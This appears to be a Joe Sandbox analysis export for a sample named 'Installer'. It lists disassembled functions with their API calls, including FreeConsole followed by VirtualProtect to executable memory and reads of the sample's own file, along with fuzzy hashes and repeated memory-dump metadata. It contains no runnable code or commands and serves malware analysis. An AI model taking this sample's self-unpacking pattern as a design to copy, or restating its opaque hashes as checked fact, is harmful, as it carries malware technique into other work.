Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 2596ef31b60383bf4fd2a7475b69e6462586a0d04a7186fc048fbc009a1f8bd3
Instruction ID: 03369a2be18cfcd9381881408e383489d69e5718647646e87afa105af105483e
Opcode Fuzzy Hash: 2596ef31b60383bf4fd2a7475b69e6462586a0d04a7186fc048fbc009a1f8bd3
Instruction Fuzzy Hash: 08D06C31000A49ABCF232F61DC6ED993F2AEB40382B445414B9494A072DF32A99ADA84

Function 00363BF4 Relevance: 3.2, APIs: 2, Instructions: 196
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00363F9E: GetConsoleOutputCP.KERNEL32(C82EE5EC,00000000,00000000,?), ref: 00364001

WriteFile.KERNEL32(?,?,00000000,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,00358584,?), ref: 00363D79
GetLastError.KERNEL32(?,?,00358584,?,003587C8,00000000,?,00000000,003587C8,?,?,?,00378FE8,0000002C,003586B4,?), ref: 00363D83

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ConsoleErrorFileLastOutputWrite
String ID:
API String ID: 2915228174-0
Opcode ID: 8bf33df3fa841ecf0a11a716be97971b174dd86e9e03761365b8b4e07dc71598
Instruction ID: 0ab693587cca71e286d1066c0d2717cbdd61bda59628905626234ee1ec1366e4
Opcode Fuzzy Hash: 8bf33df3fa841ecf0a11a716be97971b174dd86e9e03761365b8b4e07dc71598
Instruction Fuzzy Hash: 6C61B371D04159AFDF12CFA8C885AEEBFB9AF49304F158145F805BB25AD732DA11CBA0

Function 003643CD Relevance: 3.1, APIs: 2, Instructions: 80
fileCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WriteFile.KERNELBASE(?,?,?,?,00000000,00000000,00000000,?,?,00363D5F,00000000,003587C8,?,00000000,?,00000000), ref: 00364469
GetLastError.KERNEL32(?,00363D5F,00000000,003587C8,?,00000000,?,00000000,00000000,00000000,?,?,00000000,?,?,00358584), ref: 0036448F

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID:
API String ID: 442123175-0
Opcode ID: 89ca9217b7ee1c6fa7047c44eca2a03d94fa7119329201123250df3b896bcd29
Instruction ID: 14f344345e1d288c52e742b05c737fe0bd0c83ed6a2f678f42013065ba737822
Opcode Fuzzy Hash: 89ca9217b7ee1c6fa7047c44eca2a03d94fa7119329201123250df3b896bcd29
Instruction Fuzzy Hash: 5721B130A002199FCB1BCF1ADC81AE9B7B9EF48305F1480A9E90AD7215DA30DD82CF60

Function 003490F0 Relevance: 3.1, APIs: 2, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::_Throw_Cpp_error.LIBCPMT ref: 003491C9
std::_Throw_Cpp_error.LIBCPMT ref: 003491D7

Part of subcall function 0034EFD2: ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,00348E4A,0034A2F0), ref: 0034EFE7

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$ExclusiveLockRelease
String ID:
API String ID: 3666349979-0
Opcode ID: 6e2b041d3be4b1231d976d259902bcebb54f59d348c4d7720e36d1af65dba553
Instruction ID: 70c9905e27413758a18d2c624953ff5f9706b9f0a95a55ceb11ba529c62ad223
Opcode Fuzzy Hash: 6e2b041d3be4b1231d976d259902bcebb54f59d348c4d7720e36d1af65dba553
Instruction Fuzzy Hash: EB21F1B0A006469BEB119FA48D46BAEBBF4FB04320F144229E5296F381D734B904CBD2

Function 0035DA52 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6,?,?,?,?,?,?,?,00000000,0035D941,00379330,0000000C), ref: 0035DA9E
GetFileType.KERNELBASE(00000000,?,?,?,?,?,?,?,00000000,0035D941,00379330,0000000C), ref: 0035DAB0

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: eeefd7e55da57bf169e909af99b0d914a781cc8fc94672308386c1b8027e80b8
Instruction ID: 133105d9b132bb52f2da6b2190e0962ad942cd63c88da87ee063a161593dd430
Opcode Fuzzy Hash: eeefd7e55da57bf169e909af99b0d914a781cc8fc94672308386c1b8027e80b8
Instruction Fuzzy Hash: 0B11DD7110C7424AC7328E3E8C88A237AA9AB56332B390759D8B7C65F5C670D88ED600

Function 00341EF0 Relevance: 3.1, APIs: 2, Instructions: 60
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00341240: _strlen.LIBCMT ref: 003412BA

FreeConsole.KERNELBASE(?,?,?,?,?,0034173F,?,?,?,00000000,?), ref: 00341F21
VirtualProtect.KERNELBASE(0037A011,00000549,00000040,?), ref: 00341F78

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ConsoleFreeProtectVirtual_strlen
String ID:
API String ID: 1248733679-0
Opcode ID: 8fe193ab96df858dbce68a84a7d1b868e96a39db6742d7dc037744015a8feaea
Instruction ID: b42d6f718794b3efa8bc2a44722f0e5ff8fbf45f4a0a91c60fba1a325f3d89e4
Opcode Fuzzy Hash: 8fe193ab96df858dbce68a84a7d1b868e96a39db6742d7dc037744015a8feaea
Instruction Fuzzy Hash: 9E11A371A405086BDB16BB65EC02EFF77B8EB84701F048829F608AB282E67569905BD1

Function 00355470 Relevance: 3.0, APIs: 2, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00378E38,0000000C), ref: 00355483
ExitThread.KERNEL32 ref: 0035548A

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ErrorExitLastThread
String ID:
API String ID: 1611280651-0
Opcode ID: cbbf5e5e24b7df3dfc4b62375458640a1b1458c293bee2e5665f6c7e2c3fbb31
Instruction ID: 714046e21d3f791b2a8ecf2e4e79acd564be4cdc8ae08713116a45c3b71b350f
Opcode Fuzzy Hash: cbbf5e5e24b7df3dfc4b62375458640a1b1458c293bee2e5665f6c7e2c3fbb31
Instruction Fuzzy Hash: 42F0AFB1A00A059FDB13AF70C81AE6E7B74EF04752F104459F80AAB2B2CF746985CB90

Function 00342270 Relevance: 3.0, APIs: 2, Instructions: 29COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 00342288
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 0034229C

Part of subcall function 00341FB0: CreateFileA.KERNELBASE ref: 00342036
Part of subcall function 00341FB0: GetFileSize.KERNEL32(00000000,00000000), ref: 00342046
Part of subcall function 00341FB0: ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 0034206B
Part of subcall function 00341FB0: CloseHandle.KERNELBASE(00000000), ref: 0034207A
Part of subcall function 00341FB0: _strlen.LIBCMT ref: 003420CD

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: File$HandleModule$CloseCreateNameReadSize_strlen
String ID:
API String ID: 3505371420-0
Opcode ID: 3db52c151ce2c4d9e4f6ff0359d78a9d8f0ec057e0c8bd2166b50d1240c8b59b
Instruction ID: 7207069ac0c89cede0d778a13643a9ce71beeb6cd5a960c037efb21be78bf7fc
Opcode Fuzzy Hash: 3db52c151ce2c4d9e4f6ff0359d78a9d8f0ec057e0c8bd2166b50d1240c8b59b
Instruction Fuzzy Hash: D5F0E5B19012102BD1337724BC0BFAB7BBCDF85710F000514F58D5E182EA7421858AD3

Function 0035BED7 Relevance: 3.0, APIs: 2, Instructions: 22memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000000,?,003602B4,?,00000000,?,?,0035FF54,?,00000007,?,?,0036089A,?,?), ref: 0035BEED
GetLastError.KERNEL32(?,?,003602B4,?,00000000,?,?,0035FF54,?,00000007,?,?,0036089A,?,?), ref: 0035BEF8

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 2c167b4b0039bd756b281d825a45d5120e7a9c05044718806fc73d46f5afa8f2
Instruction ID: bfe3b6b7836ed94dedc62495c109952a8701225529e2190ca0509d46ed6dff66
Opcode Fuzzy Hash: 2c167b4b0039bd756b281d825a45d5120e7a9c05044718806fc73d46f5afa8f2
Instruction Fuzzy Hash: E3E08C32204A18ABCB232FA5FC09F997B6CEB00392F114021FA0C9A170CB308984CB94

Function 0034DEF0 Relevance: 1.6, APIs: 1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 195468f8685eb514b79ab8d78a92d9b1e4f1fcbc5879ca3cb491894e14d77642
Instruction ID: fac68d4961254ff9098b8b8d4170e0bc1ec2d1a80ce369fc05c5256d50bbf608
Opcode Fuzzy Hash: 195468f8685eb514b79ab8d78a92d9b1e4f1fcbc5879ca3cb491894e14d77642
Instruction Fuzzy Hash: 8341B031A0011AAFCB26DF69D8909EDB7F9FF18310F54406AE446EBA40EB31F945DB90

Function 0034CB40 Relevance: 1.6, APIs: 1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a8dbf606c9d1d54a760a21b710172b977622ccf535d4300ba4120210ac379f2
Instruction ID: 71bd84ac52775869fa49e3146d0c51a3d7532c518e7b92ec830cab13460f11df
Opcode Fuzzy Hash: 2a8dbf606c9d1d54a760a21b710172b977622ccf535d4300ba4120210ac379f2
Instruction Fuzzy Hash: 7F31B47291110AAFCB52CE68D8809EDB7F8FF09320B14122AE515EB690D731FD45CB90

Function 0034B060 Relevance: 1.6, APIs: 1, Instructions: 66COMMON

Download Yara Rule

APIs

Part of subcall function 0034AFC4: GetModuleHandleExW.KERNEL32(00000002,00000000,00348A2A,?,?,0034AF87,00348A2A,?,0034AF58,00348A2A,?,?,?), ref: 0034AFD0

FreeLibraryWhenCallbackReturns.KERNEL32(?,00000000,C82EE5EC,?,?,?,Function_0002BE94,000000FF), ref: 0034B0C7

Part of subcall function 0034AEFA: std::_Throw_Cpp_error.LIBCPMT ref: 0034AF1B

Part of subcall function 0034EFD2: ReleaseSRWLockExclusive.KERNEL32(00000000,?,?,00348E4A,0034A2F0), ref: 0034EFE7

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: CallbackCpp_errorExclusiveFreeHandleLibraryLockModuleReleaseReturnsThrow_Whenstd::_
String ID:
API String ID: 3627539351-0
Opcode ID: 1456c70a568e9f8337984f12e3e139ec58740894356678fd8916508bc0c8d36b
Instruction ID: e1b4c33e30b72034941c009e9eb9dbd5da14c26019fbcbd2e4c84ab636f45d8f
Opcode Fuzzy Hash: 1456c70a568e9f8337984f12e3e139ec58740894356678fd8916508bc0c8d36b
Instruction Fuzzy Hash: 14110432640A40ABCB3B6B659C12A2EB7E9FB41B20F01441EF4199F6D0CF39FC40DA41

Function 0035CFD6 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ce16859dcbe7434fb9f3c21d48ab2e12de958904260ec530025b56edc0f7b54
Instruction ID: f4c7395b41f5ffc65fc0cd9923e20220e12369910b760d92f5acb18404426d26
Opcode Fuzzy Hash: 3ce16859dcbe7434fb9f3c21d48ab2e12de958904260ec530025b56edc0f7b54
Instruction Fuzzy Hash: 6701F5332102155FDB379E68EC41E2673BEBBC0761F264024FE089B5E4DB31D846A750

Function 0034CB32 Relevance: 1.5, APIs: 1, Instructions: 47COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: c2fa7ffa83f0417901b80842ac7290403ef21fea0bd79a819b82f64a35e5e234
Instruction ID: 2f59e8d4f91e1b80611095bb0732a14e555da04d336125908ec2e46dc3743e81
Opcode Fuzzy Hash: c2fa7ffa83f0417901b80842ac7290403ef21fea0bd79a819b82f64a35e5e234
Instruction Fuzzy Hash: B501947622A2824ECB878B78F8B52A8BB90FF91334B20A16FD0118C4D1CB127811C300

Function 00347770 Relevance: 1.5, APIs: 1, Instructions: 37COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 003477C6

Part of subcall function 0034AF64: CloseThreadpoolWork.KERNEL32(?,00000000,?,003478DA,00000000), ref: 0034AF72

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: CloseConcurrency::details::_Release_choreThreadpoolWork
String ID:
API String ID: 312417170-0
Opcode ID: c1d4b784f005c49fed4733d535ecbe35587a822deb5f5a4c5723f6024c70fa46
Instruction ID: b1095484f51d19f592d224f6a2e42800b904b4a5087f4a05280d52c26feab014
Opcode Fuzzy Hash: c1d4b784f005c49fed4733d535ecbe35587a822deb5f5a4c5723f6024c70fa46
Instruction Fuzzy Hash: 37014BB1C406599BDB01EF94DC4679EFBB4FB44720F004239E8196B351E379AA85CBD2

Function 0035BF11 Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,0035DF35,?,?,0035DF35,00000220,?,00000000,?), ref: 0035BF43

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: dbb9865109fe913667b317b7f36e26ae0167a2e4377642bc5bca624132f00949
Instruction ID: ecc0edb5debecdb25a097323aa2331699609388d9a2e054644dd3b1424e51608
Opcode Fuzzy Hash: dbb9865109fe913667b317b7f36e26ae0167a2e4377642bc5bca624132f00949
Instruction Fuzzy Hash: 08E06D31219A2166DB332A66AC01F5ABA5C9F41BA3F160161EC5D9A1B0DB20EC48D9B1

Function 003498F0 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0034990F

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID:
API String ID: 118556049-0
Opcode ID: 1b9d5162fc47b30889bd4cfe6d5094b808955b65bcac724bd68f84af60835245
Instruction ID: 4f97b0e5e650c2775d85e0e395c26b5769275bd6b65d0c80d20e947745f5a62c
Opcode Fuzzy Hash: 1b9d5162fc47b30889bd4cfe6d5094b808955b65bcac724bd68f84af60835245
Instruction Fuzzy Hash: A6D0A7397014244F87267F29A81892EF3A5FFC9720357449AE944DB346CB24EC4287C0

Non-executed Functions

